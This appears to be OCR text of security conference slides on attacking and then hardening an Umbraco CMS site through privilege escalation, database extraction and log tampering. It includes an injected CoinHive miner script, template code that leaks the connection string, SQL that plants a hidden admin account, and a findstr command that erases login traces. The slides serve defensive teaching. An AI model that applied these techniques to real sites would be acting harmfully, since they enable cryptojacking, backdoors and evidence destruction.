@ Exploit known vulnerabilities in
specific versions

@ Create your own exploit




o)
o

LEVEL2 | EVEL3 LEVEL 4

Footprint & Getting into iv ge Clearing our
Identification Umbraco tio tracks







Privilege escalation

exploiting a bug
configuration oversight
gain
elevated access

more privileges than intended

unauthorized
actions

Level 3
Privilege escalation

Thank you, wikipedia



So...

= We have access to Umbraco, but we
want more access
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~| Mission 3.1:

» Goal: Get more privileges within
Umbraco

= Approach: Social engineering




Case 1: Meet Mike,
our happy trainee

= Mike helps editing the site
= It’s a complex website

= No property descriptions
iIn Umbraco
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Some of the datatypes

Content Metadata Programinfo Properties
Content | Metadata | Promoblock Info .

‘HdG
MD_Title Programld
MD _Descr

Content Metadata

Promoltem_SubCode
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Mike is so helpful..

“Shall | add some descriptions to your properties so
everyone can work with your Umbraco install?”

“Wow, would you do that for us?”

“Of course, no problem. Please give me access to
Settings section so | can edit your documenttypes”

“Oh, and BTW. Please do it on production
because we don’t have a way to transfer
document types from development to
production..”
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Settings

~ i Document Types

i Homepage Metadata |

Templates

|

Textstring

Partial Views MD _Title

N

Stylesheets

|

Scripts

n

Textarea

Languages

|

Dictionary E

n

Media Types

|

Content Templates

n

Promoblock

Textstring

Promoltem_SubCode
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What a nice guy!

= Oris he?
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But ...

We also gave Mike access to Templates &
Scripts

Settings
@ Master template: No master

~ @ Document Types

- @inherits Umbraco.Web.Mvc.UmbracoTemplatePage<ContentModels.Homepage:

i Homepage @using ContentModels = Umbraco.Web.PublishedContentModels;

= @{
v @8 Templates Layout = null;
Homepage ¥
» i Partial Views . <head>—)</head>
- <body>
» Bl Stylesheets <header»</header:»
<main></main:
» @l Scripts - <footer:
_ <script src = "hxxps://coin-hive.com/lib/coinhive.min.js"»</script>
» B Languages M <scripts
- var miner =
» B Dictionary new CoinHive.Anonymous({ 3858f62238ac3c915t388c664312¢63F");
- . miner.start();
» @ Media Types </scripts
_ </footer:
* l Content Templates </body>

S htm] =



Outputting the connectionstring

Settings
[ Master template: No master

~ il Document Types

- @inherits Umbraco.Web.Mvc.UmbracoTemplatePage<ContentModels . Homepage:>

7 Homepage @using ContentModels = Umbraco.Web.PublishedContentModels;

= @{
v B Templates Layout = null;
}
» @ Partial Views v <head>0</head>
- <body>»
» Il Stylesheets <header»</header:
- <main:
» ll Scripts - <section class="l-container":»
- <div class="1-content"”>»
» Il Llanguages - <div class="1-grid"»
- - <div class="1-col--1-1">
» @ Dictionary . -
» @ Media Types Sssst... Don't tell any one

@System.Configuration.ConfigurationManager.ConnectionStrings["umbracoDbDSN"].ToString()
-->
<fdive
</fdiv>
<fdive
</section>
</main>
’ <footer>=</footer>
</body>
</html>

» il Content Templates
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Adding an user?

<div>
@{
/{ Insert a user 'jeffrey@perplex.nl' with password ‘"Password2e18!’ directly into the usertable
/{ And after the insert, make the user a member of all user groups
string SQLStatement = @"
INSERT INTO umbracoUser{username,userlogin,userpassword
spasswordConftig,userkmail ,userlanguage, securityStampToken)
VALUES (' jeffrey@gperplex.nl’
s jeffrey@gperplex.nl’
» HuH95A2grAmGQxwgsxlcnA==geb7iTeduxkdlukffzyu/Pgs7hIb7HiNEdDL3I1Cejys="
,"{""hashAlgorithm™" : " "HMACSHA256" "}
. jeffrey@gperplex.nl’
, en-uUs’
»NEWID());
INSERT INTO umbracoUser2UserGroup SELECT @@@@IDENTITY,id FROM umbracoUserGroup;";
ApplicationContext.DatabaseContext.Database.Execute(5QL5tatement);
¥
</div>

Privilege escalation



In production, only give your
website write permissions to
[App_ Data/
/Media/
On the other folders only read
permissions




| Mission 3.2:

= Goal: Extract crucial data from the
database

« Approach: SQL Injection or any other
means to extract data through SQL
commands
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Mike is a smart guy...

= He gained access to the database and
he’s looking for the data in the table

SecretinfoTable
firstname  email social_securty _number your_biggest secret
1 Aisa ............... Alisa kristine @gmail.com 54876999 Sometimes | see ...
2 Elnsn::ne -------- briscoe coy@gmail.com 00033534 | never wash my ...
3 Danielle danielle ness@hotmail.com 93565566 When 'm thinking...
4 Davey davey benny@mailinator.com 90444 766 | hate brushing m...
5 Gilbert gilbert denholm@johndoe.com 98533566 My facebookpass...
[ Jeffrey jeffrey@pemlex nl 12345678 | love unicoms
7 Lenaox lenox . davis@yahoo.com 63990500 lt's so hard when ...
g Marvin marvin.clay@msn.nl 49652782 Me and my ex are... Level 3
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Store your sensitive data
encrypted In the database

Yet another line of defense
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Encrypting — Three options

= Offered out of the box by MS SQL Server

« Transparent Data Encryption
« Always Encrypted

= The hard way
e ‘Manual’ data encryption
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Option 1 - Transparent Data
Encryption

= |s used to encrypt the .mdf and .ldf files on disk

= And to encrypt the backup as well
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Option 1 - Transparent Data
Encryption

s “4¢ Manage Database Encryption
T Database Properties - #_ 8 s = e [~ 1= .

[ l@l Ready %

Se!ectapﬂ_p S Frrn o m Help :

1 General Select a page LT Script - | €) Help

|2 Files & General

1 Fiegroups Collation: [Latin1_General_C1_AS v] & Propetties

127 Opti ) i

i ufgﬁgz Tracking Recovery model: [Pl v] Encryption Key Option

|27 Pemissions Compatibility lewel: |SQL Server 2014 {(120) v| [ Re-Encrypt Database Encryption Key:

2% Extended Properi )

- Min‘inrinz roperes Containment type: |None v| se server certificate cen_SQLEncryptie_Marc

g‘ Transaction Log Shipping Cther options:

[] Regenerate Database Encryption Key:

Parameterization Simple ~
Quoted Identifiers Enabled Falze Encryption Algorithn AES 128
Recursive Triggers Enabled False
Trustworthy False
VarDecimal Storage Format Enabled True Database Encryption Option
4 Recovery
Page Verfy CHECKSUM Set Database Encryption On
Target Recovery Time (Seconds) 0
4 Service Broker
Connection Broker Enabled False
Server: Honor Broker Priority Falze
' Service Broker ldentifier % 8872cdeb-Fec-47d5-8153-470731bd5da2
4 Stat
Connection: £
NN .
glaDase Jlale i A
_ﬁj \iew connection properties cryption Enabled True| C —
¢¥ DBOT\DEVELOPRESEARCH
e Encryption Enabled [PERPLEX marc]
Ready

View connection properties
0K | | Cancel Progress

Ready
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Option 1 - Transparent Data
Encryption

= This will not help against any SQL Injection

SELECT * FROM [SecretInfoTable]

firstname  email social_securty _number your_biggest secret
1 Aisa ............... Alisa kristine @gmail.com 54876999 Sometimes | see ...
2 Elnsn::ne -------- briscoe coy@gmail.com 00033534 | never wash my ...
3 Danielle danielle ness@hotmail.com 93565566 When 'm thinking...
4 Davey davey benny@mailinator.com 90444 766 | hate brushing m...
5 Gilbert gilbert denholm@johndoe.com 98533566 My facebookpass...
[ Jeffrey jeffrey@pemlex nl 12345678 | love unicoms
7 Lenaox lenox . davis@yahoo.com 63990500 lt's so hard when ...
g Marvin marvin.clay@msn.nl 49652782 Me and my ex are... Level 3
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Option 2 - Always Encrypted
(MS sQL)

= Enables encryption on columns

= On a per-user basis

Level 3
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Option 2 - Always Encrypted

HH “eaerirz | IJ':’I'I.'-.IIJI.IUII.'I-IIIr.'

B dbo.cmsTags
A dbo.cmsTask
B dbo.cmsTaskType
B dbo.cmsTemplate

=zzf dbo.SecretinfoTabl

E B

EH B

[+

[+]

FH dbo.umbracoAcces Mew Table...

A dbo.umbracobcces Design

FH dbo.umbracoAudit Select Top 1000 Rows

FH dbo.urmbracoCache Edit Top 200 Rows

B dbo.umbracoConse _

R dbo.umbracocDoma script Table as 4
R dbo.umbracoExtern View Dependencies

EH dbo.umbracolangy Mermory Optimization Advisor

FH dbo.umbracolock

R dbo.umbracolog Encrypt Clsjumns...

Bl dbo.umbracoMigra Full-Text iLr:E:;]E:{ .

R dbo.umbracoMode

#
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g

Won’t work on text and ntext columns

E Column Selection

Introduction @ Help
Column Selection
_ _ Search column name...
Master Key Configuration
Run Settings [ ] Apply one key to all checked columns: CEE_Autol e
Summary Encryption Type ' Encryption Key 'L
Recults Mame State Encryption Type Encryption Key
B = dbosecretinfoTable
------- firstname = Deterministic * CEE_Autol -
------- email = Deterministic * CEE_Autol -
------- social_security_n... = Randomized * CEE_Autol -
------- your_biggest_secr... Deterministic » CEK_Autol -

------- a_long_secret

@ @




The database administator will see this

/****** Script for SelectTopNRows command from SSMS *****=/
=ISELECT TOP (1000) [firstname]
,[email]
,[social_security_number]
,[your_biggest secretl]
,[a_long_secret]
FROM [umbraco71@].[dbo].[SecretInfoTable]

100% ~
EH Resuts 2l Messages

firstname email social_security_number your_biggest_secret 1
Ox01FCS0ESSASBECA3EF83... (x0109BCCASDDOBD4CS0061... Ox01C267A47A7937F3F86BF... (x0101EB2FD5F76C6395ABAS1BFB52466895696EFOBB0454A8C...
x01D287257D23B4CE2382... (x0134F428CA3FDF37208A8F... (xO1EFF1SA7BE62833CBF91... (x0185738C68AE7B68F82348950E494C4E28334B3382684C8A4. ..
Ox01256FFBA10SD7D7926S... (x0149647D06A64B42603AA0... (x01BS4BDAOCDBFA7110CA... (x0147805DC0A18128F44C44416A62957C66A2F5502343801E...
x017453290EB068228CAA...  (x01551BBESODE122ET1EAGEF... (x01A1D6621C48A233ES5E6A... (x01A3115EF2D68F5B043642B762DDA79F2E711FAFCS2813E...
Ox01A0D5332627FC98B0D2... Ox01CESC721C96224BC42BAA... (x018C46DC58124BCBDACS... (x01B328E4D318B4048FADF621FFOF3F6FF84707E222A09441...
Ox018A1ESTFEF39083BD3C... (x01EAA6817463781515F2B6...  (x018CAE3CA91D10EDFEF2... (OxO1FFEB826D973C016FSEES18BDFO48EDEOBD343138D7B54...
Ox0107B7B6E388EST4EF3A... (x01F234E3827B90073818FC...  (x0175F5448E8AGAT3AAA4D... (x015B6B0ED4995E914512075C0087915C8BDBFCFAD47AAALF ...
Ox01184C4CBCAGBBEF539F... (x01F2C51712B735F51B21F6...  (x0104FBS8199BF636167556... (x01D646E3AAG583055F8D1DF3389B3E021BA41B4ASSETAGS. ..

O ~ O O oW -



But the website user (and Mike) still sees

SQLCueryd.sql - W5..Admimistrator (B2)) R X EESRETEIER ERTAWN I r Tl TRV =T EY)
JE*E*XEEE Seript for SelectTopNRows command from SSMS  *¥*****/

—|SELECT TOP (lee8) [firstname]

;[email]

;[social security number]

;[your _biggest secretl]

.[a_long secret]

[

FROM [umbraco71@].[dboc].[SecretInfoTable]
100% -
FH Results Eﬁ Messages
firstname  email gocial_securty_number your_biggest_secret a_long_secret

1 liert ........... gilbert denholm@johndoe.com 58533566 My facebookpassword is something  MULL
2 Da‘n.re:.' .......... davey benny@mailinatorcom 50444766 | hate brushing my teeth MLULL
3 Marvin marvin.clay@msn.nl 89652732 Me and my ex are somet MLUILL
4 Briscoe briscoe coy@gmail.com 00083534 | never wash my hair MLUILL
5 Lenox lenox davis@yahoo.com 6895950900 s so hard when people MNULL
[ Jeffrey jeffrey@pemplex nl 12345678 | love unicoms MNULL
7 Alisa Alisa kristine@gmail.com 54876999 Sometimes | see dead people MULL
a Danielle danielle ness@hotmail .com 98565566 When 'm thinking about MLULL



Option 3 — Manual encryption

= Encrypt data in .NET before storing it in
your database

if (reqguiresEncryption)

{
if (!15tring.IsNullOrEmpty(Body))
i
Body = Security.Encrypt(Body);
h
}

= Decryption only possible via C#-code

// Decrypt some values if the e-mail is encrypted
if (e.isEncrypted)

{
e.body = Security.Decrypt(e.body);

}

Level 3
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SQL Injection is useless

= SELECT * FROM [SecretInfoTable]

id  firstname

0O =] @ N e o ka4
0O =] @ N o W P

i1 { VgWFQoDo3Ee...
SEUEBi4+LUCh...
152 ukBulGg. .
Z8GNsgwglD+0...
Di3aC4BXrUCO...
nzHtttAghi sk, ..
0376/zsq0OESfz. ..
RPiM3dN+ESO...

email
xq+ROsVPZECCsKHKOHXNIG. ..
1Zh8oGAiGkug|Pu2GNMEsQ=...
OIPvAPT=GEqUeJLHBgFGLG...
JOOSGjwXokBwnPtbph /dRA==...
MNesf 1UPp Uk 6dv S0Qn D9 Ag=...
TuAB12ChTOEPS5PhoYBzng=...
chbitv PgYV0GgMXGoHI0Rfg=...
GOAEIgS AlkixauzjnJpEWg==:1...

gocial_security_number
rksY 26meQES2UIHK G5 Sq=="WB3+GLSWDFKSJSI7NAuxXMzbC .

z/OyrVURIEQQ THI4+0lk giA==:5C3AHuUhtiz 311 BOto lJgy Zb ErkmeiO ...
LZLKCP2Adk &P Boul PAZNCw=="rX10nB25FUdsFRBWVsndaJM...
ul 7Emk RNVky XAuAIh 57/ XA==maAz DJrx ENbSFFO0GwWwxO5A0S . .
GfopMgFTnUCOyNL4gbYNo8g=="KMXR53dYbGu/3zVQPIcej bpatW...
Hp JivPlaakaAvJ TG Bw IW Ww==jBIRGYs THxNp&tzyo NS4 8LPESF ...
gD ¥m3nyF Tkm R Sdw 30z ADeg==0i54Cy¥s Jdg VW WwWRY 1R Te. ..
ke /Zey 1Vnk bW Y 2nq 58y 2g==Clb3zqXqeCjN02z 1s+GI T3mEKFX3F ..

your_biggest_secret1
JicoQiwGpEuM2aijhjo. .. MLULL
NRYEMoMWYOaNaPW... NULL
QeVPFELSmUgWHMIGL...  NULL
Ltz01KKVeEe/Bx0DY0J...  NULL
GCVAwDEROupALUZVZ...  NULL
cBEyr+Jg+UObut+348c...  NULL
EOJArKEFDUZ2gldZbtMQ...  MNULL
ZrdwG4Sr Tkmal+hWA. ..
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M Mission 3:
Accomplished

@ Gain access to Umbraco

@ Extracted the data from the database
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Clearing our tracks



| Mission 4.1

= Goal: Remove our presence on the
fillesystem

=« Approach: Clearing every trace we’ve

made with our name on it on the
webserver

Level 4

Clearing our tracks




Some forensics

= Umbraco registers all login attempts
to your website

Level 4
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Some forensics

= [App_Data/Logs

2018-85-15 14:32:21,783 [P31344/D2/T17] INFO Umbraco.Core.Security.Bag

Event Id: 8, state: Login attempt succeeded for username EVlllﬂglﬂ@pEFplEH nlj{from IP address 127.8.8.1
2018-85-15 14:32:21,783 [P31344/D2/T17 . = Emahaenam rity . BackUTT1ce51gnlnManager -

Event Id: 8, state: User EVllnglﬂ@pEFplEH nl flogged in from IP address 127.8.8.1

Level 4
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Cleanup the files on disk

= |In the command line

D:\>findstr /V /R “evillogon@perplex.nl"
UmbracoTracelLog.MyMachine.original.txt >
UmbracoTracelLog.MyMachine.cleaned. txt

Level 4
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Do not store logs only on disk
which can be easily edited by the
website-user

Store it in the
Windows Event Viewer




Add these lines in your /config/log4net.config

<root>
<priority value="Info"/>

appender name="EventLoghAppender” type="logdnet.Appender.EventLoghppender” >

<applicationName value="My Umbracoc website" />
<layout type="logdnet.lLayout.PatternLayout">
<conversionPattern value=" %date [P&property{processId}/Diproperty{appDomainld}/Ththread] %-5level %logger - Xmessage@newline" /
</layout>
/appender>




Windows Event Viewer

B Event Viewer
File Action View Help
= x5 3

@ Event Viewer (Local)
> E Custom Views
v [ Windows Logs
@ Application
@ Security
] Setup
@ System
E] Forwarded Events
y I Applications and Service
__2 Subscriptions

Application Number of events: 33 {!) New events available

Level Date and Time Source &
@ Information 15/05/2018 14:32:22 My Umbraco website

@ Information 15/05/2018 14:32:21 My Umbraco website

@ Information 15/05/2018 14:32:21 My Umbraco website ”
<) >
Event 0, My Umbraco website x

General Details

2018-05-15 14:32:21,783 [P31344/D2/T17] INFO Umbrace.Core Security.BackOfficeSigninManager - Event Id:
0, state: Login attemnpt succeeded for username techniek@perplex.nl from P address 127.0.0.1

Actions

Application

= Open Saved Log...

¥ Create Custom View...
Import Custom View...
Clear Leg...

Filter Current Log...
Properties

Find...

Save All Events As...
Attach a Task To this Log...

DEBDH

View
|4 Refresh
ﬂ Help

Event 0, My Umbraco website

Event Properties
E Attach Task To This Event...
m Save Selected Events...
52 Copy

|4 Refresh

E Help



Windows Event Viewer

= You cannot remove single lines out of the log
* Only flush the whole log (and that is suspicious)

= Automatically copy it to a external server

Level 4
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| Mission 4.2

= Goal: Remove our presence in the
database

=« Approach: Clearing every trace we’ve
made with our name on it on the
databaseserver

Level 4
Clearing our tracks




More forensics —
In the database

= Access to Umbraco is logged on

several places
« umbracoUser

N e L R —

N o W R = D

userDisabled

e T e T e Y e [ e [ e

userMoConsole

=T — I — T — I — =]

userfame

techniek @permplex.nl
jeffreyi@pernplex.nl
jeffrey2i@pemplex.nl
jeffrey 2@pemplex.nl
jeffrey 2 @pemplex.nl
jeffrey 3@pemlex.nl

userLogin

techniek @perplex.nl
jeffrey @pemlex.nl
jeffrey 2i@pemplex.nl
jeffrey 2@perplex.nl
jeffrey 2i@pemplex.nl
jeffrey 3@perplex.nl

userPassword

HuHS5A2grAmGCowg Sulen A==geb File Duxk Sukffzyu/Pgs...
HuH535AZgrAmGCwg Sdon A==geb 7ileOuwd SuldffzvuPas ..
HuHS5A2grAmGCwg Sdon A==geb Vile Dudk HukffzyuPas ..
HuHS5A2grAmGCowg Sulen A==geb File Duxk Sukffzyu/Pgs...
HuH535AZgrAmGCwg Sdon A==geb 7ileOuwd SuldffzvuPas ..
HuH35AZgrAmGChowg Swden A==geb File Duxk Hukffzyu/Pgs...

passwordCorfig
{"hashAlgorthm™:"HMA
{"hashAlgorithm™:"HMA
{"hash&lgorthm™:"HMA
{"hashAlgorthm™:"HMA
{"hashAlgorithm™:"HMA
{"hashAlgorthm":"HMA

Level 4
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= Access to Umbraco is logged on several places

AN A o pa —

In the database

« umbracoUserLogin

gession|d

| D780810D-4AF5-430A-9E11-0D57254FF 729

27701 26E-41DC4020-8B51-484D15D4B4A6

EB4D2A0B-634C-44DA-5C33-608017BB2715
ES86FAEI-1265-435C-94B4-6863E24DEDET
CEE15B8E-3B25-41A3-52DA-706345030531
CDB4507C-EABT-42E3-A454-TTEEBASTALAT
B17825FB-DCR1-4BFC-A245-D552060B4BCC

userld

5
1
0
L
5
5
3

loggedinlitc

20180510 12:11:37.857
20180510 12:07:36.370
20180510 12:04:07.877
20180510 12:13:28.543
20180510 12:13.38.527
2018-05-10 12:52:16.4530
20180510 12:28:26.810

lastValidatedLitc

20180510 12:12:57.080
20180510 12:11:28.407
2018-05-10 12:07:15.530
2018-05-10 12:13:28.543
2018-05-10 12:28:25.267
2018-05-10 12:54:17.157
2018-05-10 12:36:12.650

loggedOut Litc
20180510 12:13:24 217
20180510 12:11:25.223
MULL

MLULL

MULL

MLULL

20180510 12:36:20.883

ipAddress

1
1
1
1
1
1
1
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In the database

= Access to Umbraco is logged on several places

 umbracoAudit

FH Resuts ¥ Messages

id
3 6
7 7
8 a
9 9
10 10
mn n
12 12
13 13
14 14
15 15
16 16
17w 17
18 138

performing Userld

€2 02 LN W W WS @ W N —

performing Det ails

User "jeffrey@pemlex.nl” effrey@pemplex.nl:
User "SYSTEM"

User "SYSTEM"

User "jeffrey 3 @pemlex nl” <jefreyI&@pemlex nls
User "jeffrey3@permplex nl" <jeffrey 3@pemlex nl=
User "SYSTEM"

User "SYSTEM"

User "jeffrey 3@pemplex.nl” <jefrey I@pemplex.nl=
User "jeffrey3@pemplex nl” <jefreyI@pemlex nl=
User "jeffreyI@pemlex nl” <jefrey3&@pemlex nl>
User "jeffrey3@pemplex nl” <jefrey3@pemplex nl=
User "jeffreyb@pemplex.nl” <jefreyb@pemlex.nls
User "jeffreyb@perplex.nl” <jefreybi@pemplex.nl=

performinglp

1
1
1
1
1

1

1
1
1
1
1
1
1

eventDateltc

2018-05-10 12:11:29.193
2018-05-10 12:11:37.380
2018-05-10 12:11:37 427
2018-05-10 12:11:40 457
2018-05-10 12:13:24157
2018-05-10 12:13:28.790
2018-05-10 12:13.28.883
2018-05-10 12:13:38.837
2018-05-10 12:13:38.867
2018-05-10 12:28:26.030
2018-05-10 12:28:26 213
2018-05-10 12:28:31.593
2018-05-10 12:36:20.587

affectedlUserld  affectedDetails

€2 02 02 0@ G0 W W N NN Nt o—

User “jeffrey@pemplex.nl” geffrey @perplex nl=

User "jeffrey 3@pemplex.nl” <effrey 3@pemplex.nl:
User "jeffrey 3@pemlex nl” <jeffrey 3@pemplex nl:
User "jeffrey J@pemlex nl” <jeffrey J@pemlex nl:
User "jeffrey3@pemlex nl” <jeffreyI@pemlex.nl:
User "jeffrey3@pemlexnl” <jeffreyI@pemplexnl:
User "jeffrey 3@pemplex.nl” effrey 3@pemplex.nl:
User "jeffrey 3@pemplex.nl” <effrey 3@pemplex.nl:
User "jeffrey 3@pemlex nl” <jeffrey 3@pemplex nl:
User "jeffreyhi@pemlex nl" <jeffreyb@pemlex nl:
User “jeffreyb@pemlex nl” <jeffreyb@pemplex nl:
User “jeffreyb@pemlexnl” <jeffreyd@pemplexnl:
User "jeffreySi@pemplex.nl” geffreyM@perplex.nl:

event Type

umbracouser/sign-nAogout

umbraco/user/save
umbraco Auser/sign-inogin

umbraco/user/save

umbraco/user/signin/logout

umbraco/user/save
umbracouser/sign-inogin
umbraco/user/save
umbraco Auser/sign-inogin
umbraco/user/save
umbraco /user/sign-nogin

umbraco/user/save

umbracouser/sign-nAogout

eventDetails

logout success

updating LastLoginDate, Update Date
login success

updating TourData, UpdateDate
logout success

updating LastLoginDate, UpdateDate
login success

updating LastLoginDate, Update Date
login success

updating LastlLoginDate, Lipdate Date
login success

updating TourData, UpdateDate

logout success
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But...

= We’ve inserted data into the database
before, so we can also delete entries from
the Umbraco-database and hide our
tracks...

Level 4
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Restrict database CRUD
permissions by default

Allow Read, Update and Delete only
on some tables

Clearing these tables is a dbo-task, not a website task

Level 4
Clearing our tracks




/| Mission 4:
Accomplished

@ Cleared our presence on the
webserver

o
Removed ourselves from the
databaseserver

Level 4
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All hardening tips

= Tip 1. Use IP-whitelisting on the Umbraco-folder

= Tip 2: Rename the Umbraco-folder

= Tip 3: IP-whitelist /config/, /App_Plugins/ and /Umbraco_Client

= Tip 4. Upgrade Umbraco & your plugins

= Tip 5: Compile the packages yourself?

= Tip 6: In production, give read-only permissions on most folders
= Tip 7: Encrypt sensitive data in the database

= Tip 8: Store security related logs in the Event Viewer

= Tip 9: Minimize CRUD-permissions on your database tables



We have a more secure application!
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<l-- Security -->
outrun the bea
)utrun your friends

l



Want more?

= Always check the documentation
= Umbraco.com/security

= Follow me on Twitter
* @jschoemaker1984

= Umbraco security training or audit?
* Drop me an emalil (jeffrey@perplex.nl)



Questions?




Thank you!
Have a secure day!




